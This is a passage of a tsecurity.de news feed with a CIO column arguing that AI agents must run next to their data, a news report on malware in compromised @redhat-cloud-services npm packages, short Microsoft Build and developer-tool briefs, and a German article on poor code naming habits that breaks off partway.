<title><![CDATA[Your AI cloud strategy isn’t about cost. It’s about gravity]]></title>
<description><![CDATA[I’ve spent the better part of the last eighteen months in conference rooms with CIOs working through their AI strategy. The conversations all start in the same place — model selection, vendor evaluation, agent frameworks — and they all eventually arrive at the same uncomfortable question.



“Whe...]]></description>
<link>https://tsecurity.de/de/3572283/it-security-nachrichten/your-ai-cloud-strategy-isnt-about-cost-its-about-gravity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572283/it-security-nachrichten/your-ai-cloud-strategy-isnt-about-cost-its-about-gravity/</guid>
<pubDate>Thu, 04 Jun 2026 13:07:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I’ve spent the better part of the last eighteen months in conference rooms with CIOs working through their AI strategy. The conversations all start in the same place — model selection, vendor evaluation, agent frameworks — and they all eventually arrive at the same uncomfortable question.</p>



<p>“Where is this actually going to run?”</p>



<p>The question lands awkwardly because it sounds like it should have been settled years ago. Most enterprises picked their cloud provider somewhere between 2015 and 2020. They standardized on AWS, Azure or GCP, signed multi-year commits, and built their application portfolio accordingly. The cloud strategy was done. So why is it suddenly back on the table?</p>



<p>Because the workload changed underneath it. The cloud strategy that made sense for stateless web applications doesn’t make sense for AI agents and the CIOs figuring this out fastest are the ones rebuilding their architecture around a constraint most of their procurement teams don’t even know exists yet.</p>



<h2 class="wp-block-heading">The old cloud calculus is broken</h2>



<p>For roughly a decade, cloud strategy was about where applications run. You optimized for compute price, developer velocity and managed services. Data was something you moved to where the apps were. This worked because the data-to-compute ratio was small. A typical application request moved kilobytes of structured data between the app and its database.</p>



<p>The architectural pattern that emerged was elegant in its simplicity: applications in one region, data in another, users somewhere else entirely and the network in between papered over the seams. Latency budgets were measured in user-perceptible terms — a 200ms page load was acceptable, a 500ms one was a problem. Cross-region calls were a tax you paid for resilience or for putting compute close to the user.</p>



<p>That entire model assumed the application was the thing doing the work, and the data was the thing being acted upon.</p>



<p>AI agents inverted that assumption.</p>



<h2 class="wp-block-heading">AI inverted the ratio</h2>



<p>Agents don’t just consume data. They live in it.</p>



<p>Memory, context, retrieval, embeddings — the data isn’t an input to the workload. It largely <em>is</em> the workload. An agent reasoning about a customer’s situation is pulling in conversation history, organizational policies, product documentation and structured records on every turn. An agent writing code is pulling in the repository, the architectural decision records, the test suite and the relevant runtime telemetry. An agent doing financial analysis is pulling in market data, internal forecasts, regulatory filings and historical context — and then producing intermediate results that feed back into the next reasoning step.</p>



<p>The data isn’t a thing the workload references occasionally. It’s the substrate the workload is computing on.</p>



<p>And that substrate has gravity.</p>



<p>It has <strong>regulatory gravity</strong> — sovereignty mandates, residency requirements, sector-specific compliance regimes that say data of a particular type cannot leave a particular jurisdiction. The <a href="https://artificialintelligenceact.eu/" rel="nofollow">EU AI Act</a>, HIPAA, financial services regulations across a dozen countries — these aren’t preferences. They’re constraints that determine, before you’ve made any architectural decisions at all, where some of your data is allowed to be.</p>



<p>It has <strong>economic gravity</strong> — egress fees, GPU-hour pricing differentials, the brute economics of <a href="https://www.earezki.com/ai-news/2026-03-01-i-compared-data-egress-costs-across-44-cloud-providers-heres-the-breakdown/" rel="nofollow">moving terabyte-scale corpora across cloud boundaries</a>. Training data and embedding stores aren’t gigabytes anymore. Moving them isn’t a config change. It’s a project, sometimes a quarter-long one, with a real bill attached.</p>



<p>It has <strong>incumbency gravity</strong> — the data is where it is, and moving petabytes is not on this year’s roadmap. Most enterprises have data sprawled across systems that were never designed to be portable. The fact that your customer records live in a particular cloud isn’t because someone made a strategic decision in 2026. It’s because they made a strategic decision in 2017 and the data has been accumulating there ever since.</p>



<p>And it has <strong>latency gravity</strong> — and this is the one that’s quietly rewriting the architecture for everyone.</p>



<h2 class="wp-block-heading">Wall time is the forcing function</h2>



<p>Here’s the math that nobody puts in their slide decks.</p>



<p>A modest agentic loop (retrieve, reason, act, observe) easily does five to ten round trips per task. The agent retrieves relevant context. Reasons about it. Calls a tool. Observes the result. Reasons about that. Retrieves more context. Acts again. Each of those steps touches the data layer, the memory store, the model and back.</p>



<p>Now put 50 milliseconds of cross-region network latency on each hop. That’s 250 to 500 milliseconds of pure network tax on every single agent task, on top of the actual model inference and tool execution. Run that loop a hundred times an hour, across thousands of concurrent agent sessions, and you’re not looking at a minor degradation. You’re looking at the difference between an agent that feels alive and an agent that feels like dial-up.</p>



<p>This is why I keep telling CIOs the same thing in those conference rooms: your data, your memory store, your models and your agent runtime need to be in the same physical datacenter. Period.</p>



<p>Whether that physical datacenter is yours or one of the hyperscalers’ is the actual question worth debating. But they have to be co-located. If you’re spreading these across regions or providers to chase a procurement discount, you’re sabotaging your own AI strategy before it ships.</p>



<p>I want to head off two objections before the comments section gets to them.</p>



<p>“What about agents that legitimately need to span regions? Say, a global customer service agent that needs to retrieve from regional data stores?”</p>



<p>Those aren’t really one agent. They’re a federation of regional agents with a routing layer on top, and the wall-time math applies within each region. The federation is the architecture. Pretending it’s one agent stretched across geographies is how you end up with the dial-up problem.</p>



<p>“What about hyperscaler private connectivity? <a href="https://aws.amazon.com/directconnect/" rel="nofollow">Direct Connect</a>, <a href="https://learn.microsoft.com/en-us/azure/expressroute/expressroute-introduction" rel="nofollow">ExpressRoute</a>. That gets cross-region latency down to single-digit milliseconds?”</p>



<p>Single-digit milliseconds still compounds across an agentic loop more than it did for human-driven activity. Five hops at 5ms are 25ms of network tax per task, which adds up across millions of tasks.</p>



<p>And private connectivity doesn’t solve the other gravities. It doesn’t make data residency mandates go away. It doesn’t change egress economics for the data itself. It just makes a single dimension of the problem somewhat better.</p>



<p>The constraint is physics, not procurement. You can’t negotiate with the speed of light.</p>



<h2 class="wp-block-heading">That’s why the cloud market fragmented</h2>



<p>Once you accept that agents have to run physically next to their data, memory and models, the <a href="https://www.datacenterknowledge.com/cloud/earnings-roundup-neoclouds-shift-from-gpu-race-to-power-wars" rel="nofollow">recent fragmentation of the AI cloud market</a> starts to make sense.</p>



<p>Sovereign clouds aren’t winning on patriotism. They’re winning where regulatory gravity dominates and the data is already on a particular side of a particular border. Neoclouds aren’t winning on a vibe shift. They’re winning where economic gravity dominates and GPU-hour pricing makes the math work. Private clouds aren’t winning because on-prem is back in fashion. They’re winning where incumbency gravity dominates and the data is already in your datacenter and isn’t going anywhere. Hyperscalers are still winning where developer gravity and managed services dominate, and where the data is already in their object storage from a decade of cloud migration.</p>



<p>These aren’t competing on the old dimensions. They’re each winning in scenarios where a different gravity is the binding constraint.</p>



<p>The right question isn’t which cloud you should pick. It’s which gravity dominates for each workload, and therefore where the <em>whole stack</em> (data, memory, model, agent runtime) needs to be co-located. Some agents will run in three places. Some agents will need to move between them. That’s why deployment flexibility matters more than it ever did when we were just running stateless apps.</p>



<h2 class="wp-block-heading">What CIOs should actually do this quarter</h2>



<p>Stop picking a cloud. Start mapping your agent portfolio against the four gravities and let the architecture fall out of that.</p>



<p>For each AI workload you’re planning to put into production over the next twelve months, work through four questions:</p>



<ol class="wp-block-list">
<li><strong>Where does the data live, or where is it going to end up?</strong> Not where you wish it lived. Where it actually is, or where regulatory or business reality is forcing it to be. This is the answer that constrains everything else.</li>



<li><strong>Which gravity is dominant?</strong> If regulatory mandates are non-negotiable, that’s your binding constraint. If GPU economics are the issue, that’s your binding constraint. If you have ten petabytes of historical data sitting in a particular cloud and moving it is a multi-year project, that’s your binding constraint.</li>



<li><strong>What’s the wall-time budget for the agent loop?</strong> If it’s a batch workload, you have flexibility. If it’s a real-time customer-facing agent, you need everything in the same datacenter and you need to design for it from day one.</li>



<li><strong>What’s the portability requirement?</strong> As model providers compete and pricing shifts, can you move the agent runtime without moving the data? Can you move the data without rewriting the agent? Lock-in used to be denominated in egress fees. Now it’s denominated in token pricing, embedding model compatibility and agent framework portability.</li>
</ol>



<p>The CIOs who get this wrong won’t lose because they chose the wrong cloud. They’ll lose because they chose <em>a</em> cloud. Singular, monolithic, picked once in 2019 when the right answer was a portfolio architected around the gravities of each workload.</p>



<p>Cloud strategy stopped being a procurement decision the day agents became the workload. It became a physics problem. And the physics doesn’t care which vendor you signed with.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[From the Fruit Ninja devs, build the perfect sequence of individual shots in the bullet hell Guncrypt]]></title>
<description><![CDATA[Guncrypt is truly a bullet hell like no other! Not only do you individually customize the bullets, the movement mechanics are quite unique too.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3572218/linux-tipps/from-the-fruit-ninja-devs-build-the-perfect-sequence-of-individual-shots-in-the-bullet-hell-guncrypt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572218/linux-tipps/from-the-fruit-ninja-devs-build-the-perfect-sequence-of-individual-shots-in-the-bullet-hell-guncrypt/</guid>
<pubDate>Thu, 04 Jun 2026 12:38:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Guncrypt is truly a bullet hell like no other! Not only do you individually customize the bullets, the movement mechanics are quite unique too.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/668584749id29149gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/from-the-fruit-ninja-devs-build-the-perfect-sequence-of-individual-shots-in-the-bullet-hell-guncrypt/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft is killing Windows 11’s web app slop, encourages devs to build native apps using WinUI]]></title>
<description><![CDATA[At the Build 2026 developer conference, Microsoft encouraged developers to build more native apps for Windows 11.
The post Microsoft is killing Windows 11’s web app slop, encourages devs to build native apps using WinUI appeared first on Windows Latest]]></description>
<link>https://tsecurity.de/de/3570983/windows-tipps/microsoft-is-killing-windows-11s-web-app-slop-encourages-devs-to-build-native-apps-using-winui/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570983/windows-tipps/microsoft-is-killing-windows-11s-web-app-slop-encourages-devs-to-build-native-apps-using-winui/</guid>
<pubDate>Thu, 04 Jun 2026 00:26:11 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At the Build 2026 developer conference, Microsoft encouraged developers to build more native apps for Windows 11.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/06/04/microsoft-is-killing-windows-11s-web-app-slop-encourages-devs-to-build-native-apps-using-winui/">Microsoft is killing Windows 11’s web app slop, encourages devs to build native apps using WinUI</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Plans Linux Tools, RTX Spark Desktop For Windows Devs]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Microsoft's Build developer conference kicked off today, and as with almost everything the company has done in the last few years, Microsoft's opening keynote focused overwhelmingly on AI and other closely related technologies. [...] On the h...]]></description>
<link>https://tsecurity.de/de/3570471/it-security-nachrichten/microsoft-plans-linux-tools-rtx-spark-desktop-for-windows-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570471/it-security-nachrichten/microsoft-plans-linux-tools-rtx-spark-desktop-for-windows-devs/</guid>
<pubDate>Wed, 03 Jun 2026 20:05:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Microsoft's Build developer conference kicked off today, and as with almost everything the company has done in the last few years, Microsoft's opening keynote focused overwhelmingly on AI and other closely related technologies. [...] On the hardware front, we didn't get any updates for existing Surface devices (not counting yesterday's Surface Laptop Ultra announcement), but we did get something new: the Surface RTX Spark Dev Box is "a compact developer PC" built around Nvidia's new RTX Spark chip with up to 128GB of built-in memory. The Dev Box looks a little like a cartoon anvil or piano fell onto an Xbox Series X and flattened it. Its aluminum casing was designed "to double as a heatsink," and its preloaded version of Windows 11 Pro will include a "purposeful" set of developer-centric default settings and preinstalled tools.
 
This is a follow-up of sorts to the Windows Dev Kit 2023, also known as "Project Volterra." This Qualcomm Snapdragon 8cx Gen 3-powered PC was essentially the system board from a Surface Pro tablet stuffed into a plastic box, and it was introduced alongside Arm-native versions of several Microsoft developer tools. It helped to set the stage for the Arm-based flagship Surface devices that launched the next year, which benefitted from a better and faster x86-to-Arm code translation technology called Prism and a greater number of Arm-native third-party apps that didn't need to be translated in the first place. Microsoft didn't announce pricing or specific specs for the RTX Spark Dev Box, but you can probably expect it to cost quite a bit more than the $600 that Project Volterra did. Hopefully, Microsoft can keep the price at least somewhat lower than the $4,699 asking price for Nvidia's similarly specced DGX Spark box.
 
On the software side, several developer-centric changes are coming to Windows 11, particularly for users of the Windows Subsystem for Linux (WSL). Microsoft is introducing a Windows-native version of the coreutils command line tools, so that commands or scripts made for Linux work within Windows and the other way around; the ability to run WSL inside of containers, said to be arriving in "the coming months"; and something called Windows Developer Configurations that uses the WinGet tool to quickly set up "a distraction-free dev environment with VS Code, GitHub Copilot, WSL, PowerShell 7 and developer-optimized settings with one command on any Windows 11 device." Microsoft also introduced Microsoft Execution Containers (MXC), as "enterprise-grade sandboxed environments" that let AI agents like OpenClaw operate on Windows without getting unrestricted access to the whole system. In theory, MXC could let organizations enforce agent-specific limits, such as blocking access to personal accounts, separating work and personal data, or requiring permission before deleting files.
 
The MXC GitHub repo also notes support for "multiple containment backends," meaning the same sandboxing concept could apply beyond AI agents to other plugins, tools, and workloads.
 
Further reading: Microsoft Unveils Scout, an Autonomous AI Agent Built On OpenClaw<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Microsoft+Plans+Linux+Tools%2C+RTX+Spark+Desktop+For+Windows+Devs%3A+https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F03%2F1727255%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F03%2F1727255%2Fmicrosoft-plans-linux-tools-rtx-spark-desktop-for-windows-devs%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://linux.slashdot.org/story/26/06/03/1727255/microsoft-plans-linux-tools-rtx-spark-desktop-for-windows-devs?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Adfinis-CEO Nicolas Christener: Open Source ohne Katerstimmung]]></title>
<description><![CDATA[Nicolas Christener vom Schweizer IT-Dienstleister Adfinis setzt konsequent auf Open Source. Im Golem-Newsletter Chefs von Devs erklärt er, wie. (Chefs von Devs, Open Source)]]></description>
<link>https://tsecurity.de/de/3569597/it-nachrichten/adfinis-ceo-nicolas-christener-open-source-ohne-katerstimmung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569597/it-nachrichten/adfinis-ceo-nicolas-christener-open-source-ohne-katerstimmung/</guid>
<pubDate>Wed, 03 Jun 2026 14:47:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nicolas Christener vom Schweizer IT-Dienstleister Adfinis setzt konsequent auf Open Source. Im Golem-Newsletter Chefs von Devs erklärt er, wie. (<a href="https://www.golem.de/specials/chefsvondevs/">Chefs von Devs</a>, <a href="https://www.golem.de/specials/open-source/">Open Source</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=209366&amp;page=1&amp;ts=1780490101" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[TypeScript devs no longer need to tangle with C# to use Aspire dev stack after Microsoft update]]></title>
<description><![CDATA[Aspire is a powerful tool for developers but not well understood – and pure TypeScript AppHost may broaden its appeal]]></description>
<link>https://tsecurity.de/de/3568782/it-nachrichten/typescript-devs-no-longer-need-to-tangle-with-c-to-use-aspire-dev-stack-after-microsoft-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568782/it-nachrichten/typescript-devs-no-longer-need-to-tangle-with-c-to-use-aspire-dev-stack-after-microsoft-update/</guid>
<pubDate>Wed, 03 Jun 2026 10:16:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aspire is a powerful tool for developers but not well understood – and pure TypeScript AppHost may broaden its appeal]]></content:encoded>
</item>
<item>
<title><![CDATA[New Microsoft tool lets devs spin up AI behavior tests using text descriptions]]></title>
<description><![CDATA[Microsoft on Tuesday took the wraps off Adaptive Spec-driven Scoring for Evaluation and Regression Testing, an open-source framework for spinning up AI evaluations.]]></description>
<link>https://tsecurity.de/de/3567362/ai-nachrichten/new-microsoft-tool-lets-devs-spin-up-ai-behavior-tests-using-text-descriptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567362/ai-nachrichten/new-microsoft-tool-lets-devs-spin-up-ai-behavior-tests-using-text-descriptions/</guid>
<pubDate>Tue, 02 Jun 2026 21:03:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft on Tuesday took the wraps off Adaptive Spec-driven Scoring for Evaluation and Regression Testing, an open-source framework for spinning up AI evaluations.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft offers devs a better way to control AI agent behavior]]></title>
<description><![CDATA[The specification lets developer, compliance and security teams define their own policies for agents to follow in portable policy files.]]></description>
<link>https://tsecurity.de/de/3567182/it-nachrichten/microsoft-offers-devs-a-better-way-to-control-ai-agent-behavior/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567182/it-nachrichten/microsoft-offers-devs-a-better-way-to-control-ai-agent-behavior/</guid>
<pubDate>Tue, 02 Jun 2026 20:02:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The specification lets developer, compliance and security teams define their own policies for agents to follow in portable policy files.]]></content:encoded>
</item>
<item>
<title><![CDATA[Angry devs vow to flee GitHub Copilot as metered billing takes hold]]></title>
<description><![CDATA['16% of my monthly Pro+ allowance. Gone. For basically nothing']]></description>
<link>https://tsecurity.de/de/3564562/it-nachrichten/angry-devs-vow-to-flee-github-copilot-as-metered-billing-takes-hold/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564562/it-nachrichten/angry-devs-vow-to-flee-github-copilot-as-metered-billing-takes-hold/</guid>
<pubDate>Tue, 02 Jun 2026 01:47:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA['16% of my monthly Pro+ allowance. Gone. For basically nothing']]></content:encoded>
</item>
<item>
<title><![CDATA[Multiple redhat-cloud-services npm packages compromised (StepSecurity Blog)]]></title>
<description><![CDATA[StepSecurity is reporting
that a number of npm packages in the @redhat-cloud-services
scope include malware that runs automatically on every npm
install:


The payload is a multi-stage credential harvester that sweeps
GitHub Actions secrets along with AWS, GCP, Azure, Kubernetes,
HashiCorp Vault,...]]></description>
<link>https://tsecurity.de/de/3563324/linux-tipps/multiple-redhat-cloud-services-npm-packages-compromised-stepsecurity-blog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563324/linux-tipps/multiple-redhat-cloud-services-npm-packages-compromised-stepsecurity-blog/</guid>
<pubDate>Mon, 01 Jun 2026 16:09:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>StepSecurity is <a href="https://www.stepsecurity.io/blog/multiple-redhat-cloud-services-npm-packages-compromised">reporting</a>
that a number of npm packages in the <tt>@redhat-cloud-services</tt>
scope include malware that runs automatically on every <tt>npm
install</tt>:</p>

<blockquote class="bq">
<p>The payload is a multi-stage credential harvester that sweeps
GitHub Actions secrets along with AWS, GCP, Azure, Kubernetes,
HashiCorp Vault, npm, and CircleCI tokens, and it is purpose-built to
evade detection, including an explicit attempt to bypass StepSecurity
Harden-Runner.</p>

<p>StepSecurity analyzed <tt>@redhat-cloud-services/host-inventory-client@5.0.3</tt> in full. Its
<tt>index.js</tt>, executed at install time, is 4.2 MB, a file that should
weigh a few kilobytes, with the real payload buried under three
separate layers of obfuscation. The malware is also a self-propagating
worm: using stolen npm tokens and npm's <tt>bypass_2fa</tt> parameter, it
republishes backdoored versions of other packages on its own, even
against accounts protected by two-factor authentication, so every
infected machine can seed the next wave with no attacker
involvement. All affected packages were published via GitHub Actions
OIDC from the <tt>RedHatInsights/javascript-clients</tt> repository, indicating
the upstream CI/CD pipeline itself was compromised. Analysis of the
remaining packages is ongoing.</p>
</blockquote>

<p>A <a href="https://safedep.io/redhat-cloud-services-hit-by-mini-shai-hulud-npm-worm/">blog
post</a> from SafeDep has additional analysis about the incident. We did not find an advisory from Red Hat on this yet.</p>

<p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent-led devs need serverless OpenSearch, Amazon claims]]></title>
<description><![CDATA[System relies on a proprietary storage layer as AWS moves to separate storage and compute to fit mega AI demands]]></description>
<link>https://tsecurity.de/de/3563059/it-nachrichten/agent-led-devs-need-serverless-opensearch-amazon-claims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563059/it-nachrichten/agent-led-devs-need-serverless-opensearch-amazon-claims/</guid>
<pubDate>Mon, 01 Jun 2026 14:47:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[System relies on a proprietary storage layer as AWS moves to separate storage and compute to fit mega AI demands]]></content:encoded>
</item>
<item>
<title><![CDATA[9 Naming-Praktiken zum Abgewöhnen]]></title>
<description><![CDATA[Geht’s um Naming, sollten Sie als Dev am besten so agieren, als würde Ihr Code von einem Psychopathen gewartet – der ganz genau weiß, wo Sie wohnen.Master1305 | shutterstock.com



Ein betagter, aber immer noch beliebter Witz in Programmiererkreisen:



Es gibt zwei schwierige Dinge bei der Progr...]]></description>
<link>https://tsecurity.de/de/3561792/it-security-nachrichten/9-naming-praktiken-zum-abgewoehnen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561792/it-security-nachrichten/9-naming-praktiken-zum-abgewoehnen/</guid>
<pubDate>Mon, 01 Jun 2026 06:07:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/Master1305_shutterstock_1060484813_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Psycho Maintainer 16z9" class="wp-image-4006034" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Geht’s um Naming, sollten Sie als Dev am besten so agieren, als würde Ihr Code von einem Psychopathen gewartet – der ganz genau weiß, wo Sie wohnen.</figcaption></figure><p class="imageCredit">Master1305 | shutterstock.com</p></div>



<p>Ein betagter, aber immer noch beliebter Witz in <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">Programmiererkreisen</a>:</p>



<p><code>Es gibt zwei schwierige Dinge bei der Programmierarbeit: Cache Invalidation, Naming und Off-by-One-Fehler.</code></p>



<p>Während Erstgenanntes tatsächlich komplex ist und Letztgenanntes die Pointe darstellt, wirft die Einordnung von Naming Fragen auf. Denn Dinge in der <a href="https://www.computerwoche.de/article/3963767/die-grosten-paradoxa-der-softwareentwicklung.html" target="_blank">Softwareentwicklung</a> zu benennen, ist eigentlich simpel. Zumindest sollte es das sein. Leider legen jedoch nicht wenige Developer aus Gründen eine gewisse Aversion an den Tag, wenn es um Naming geht – und machen sich (und anderen) damit das Leben unnötig schwer. Schließlich können sinnvolle Benennungen nicht nur die kognitive Belastung bei der Codepflege erheblich reduzieren. Sie tragen auch dazu bei, <a href="https://www.computerwoche.de/article/3488079/8-tipps-um-wie-ein-senior-developer-zu-coden.html" target="_blank">Fehler zu vermeiden und Bugs zu verhindern</a>.  </p>



<p>In diesem Artikel beleuchten wir neun ausgesprochen schlechte Naming-Angewohnheiten, die Entwickler dringend abstellen sollten. Und geben einige Tipps, wie es besser geht.  </p>



<h2 class="wp-block-heading">1. Wissen voraussetzen</h2>



<p>Wissen vorauszusetzen, ist in vielen Fällen der erste Schritt in den Naming-Untergang. Sie wissen vielleicht mit Sicherheit, dass <code>EmpNo</code> für „Employee Number“ steht und es sich um die unique ID in der <a href="https://www.computerwoche.de/article/3497295/datenbank-how-to-fur-app-entwickler.html" target="_blank">Datenbank</a> handelt. Ein neuer Dev hält es hingegen für etwas anderes, das nichts mit den Werten in der DB zu tun hat.</p>



<p>Wieso also nicht einfach die Dinge eindeutig beim Namen nennen? Zum Beispiel in Form von <code>EmployeeUniqueIDInDatabase</code>. Das ist zugegeben etwas lang, dafür sind folgenreiche Verwechslungen aber dank des klaren, deskriptiven Namings ausgeschlossen. Das Argument “zu viel Tipparbeit” greift auch an dieser Stelle nicht. Erstens ist Faulheit keine Option. Zweitens übernimmt heutzutage die <a href="https://www.computerwoche.de/article/3488115/visual-studio-code-alternative-im-test.html" target="_blank">IDE</a> das Gros der Tastaturarbeit.  </p>



<h2 class="wp-block-heading">2. Präzision vernachlässigen</h2>



<p>Manchmal ist die Semantik einer Benennung nicht präzise genug – was im Laufe der Zeit zu “inhaltlichen Verschiebungen” führen kann. Sie könnten etwa die Methode <code>SaveReceipt</code> implementieren, um eine Kopie von Belegen in der Datenbank abzulegen. Nachträglich erweitern Sie die Routine dann vielleicht um Printing und verlagern den eigentlichen Speichervorgang in eine andere Methode. Und schon führt das gewählte Naming auf den Holzweg.  </p>



<p>Die Wahrscheinlichkeit, dass es dazu kommt, sinkt dramatisch, wenn Sie von Anfang an auf eine eindeutige Benennung im Stil von <code>SaveReceiptToTheDatabase</code> setzen.</p>



<h2 class="wp-block-heading">3. Faulenzerei vorziehen</h2>



<p>Naming ist zwar nicht diffizil, verlangt aber ein bisschen Denkarbeit – die Zeit kostet. Weil viele Devs sich diese nicht nehmen wollen (oder <a href="https://www.computerwoche.de/article/3600678/entwickler-gehoren-nicht-ans-fliesband.html" target="_blank">können</a>), kommt es immer wieder zu Dummheiten wie Variablennamen, die aus einem einzelnen Buchstaben bestehen (einzige Ausnahme: <code>i</code> als Variable in einem Loop, aber selbst dann wäre <code>Index</code> die deutlich bessere Wahl). Stattdessen sollten Sie einer Variablen einen wirklich aussagekräftigen Namen zugestehen. Es mag etwas Zeit und Mühe kosten, lohnt sich aber. </p>



<p>Sparen Sie sich zum Beispiel so etwas:  </p>



<pre class="wp-block-preformatted">If (EmployeeNumber &gt; 0) and (OrderNumber &gt;  0) {
 // ...
}</pre>



<p>Und gehen Sie stattdessen die Extrameile:</p>



<pre class="wp-block-preformatted">EmployeeIsValid = EmployeeUniqueIDInDatabase &gt; 0;
ThereIsAnOrder = OrderNumber &gt; 0;
ItIsOkayToProcessTheOrder := EmployeeIsValid and ThereIsAnOrder;
If ItIsOkayToProcessTheOrder {
  // ...
}
</pre>



<p>Das ist um Welten besser lesbar – und den Variablennamen ist klar zu entnehmen, wofür sie stehen.</p>



<h2 class="wp-block-heading">4. Abkürzungen verfallen</h2>



<p>Faulheit ist zwar keine Option, Hektik aber ebenso wenig. Denn die führt im Regelfall nur dazu, dass eindeutiges Naming unklaren und vor allem unnötigen Abkürzungen weichen muss. Die 0,876 Sekunden, die Sie mit <code>acctBlnc</code> im Vergleich zu <code>accountBalance</code> sparen, sind wertlos, wenn es dadurch zig Stunden länger dauert, den Code zu warten. Und davon abgesehen: Um welche Account Balance geht es überhaupt? Die des Unternehmens? Die des Kunden?  </p>



<p>Auch an dieser Stelle hilft nur: Austippen. Kürzen Sie am besten einfach gar nichts ab (von Standards wie URL und http einmal abgesehen). Das kann auch dazu beitragen, die unbegründete “Angst” vor erklärendem, klaren Naming abzustreifen.</p>



<h2 class="wp-block-heading">5. Funktionen schwammig benennen</h2>



<p>Methoden sollten mit Verben benannt werden und vollständig beschreiben, was sie tun. So ist <code>getCustomer</code> ein guter Anfang – lässt aber Fragen offen: Woher wird der Kunde geholt? Und was genau wird dabei geholt?</p>



<p>Die bessere Option: <code>getCustomerInstanceFromDatabase</code>.</p>



<h2 class="wp-block-heading">6. Konsistenz über Bord werfen</h2>



<p>Wenn Sie <code>Customer</code> verwenden, um einen Kunden zu bezeichnen, der etwas am Point-of-Sale-System kauft, sollten Sie auch sicherstellen, dass dieses Naming überall zum Zuge kommt. Den Kunden in anderen Modulen als <code>Client</code> oder <code>Buyer</code> zu bezeichnen, führt ins Unglück.</p>



<p>Nutzen Sie dieselben Begrifflichkeiten konsistent in Ihrem gesamten Repository.</p>



<h2 class="wp-block-heading">7. Ins Negativ abdriften</h2>



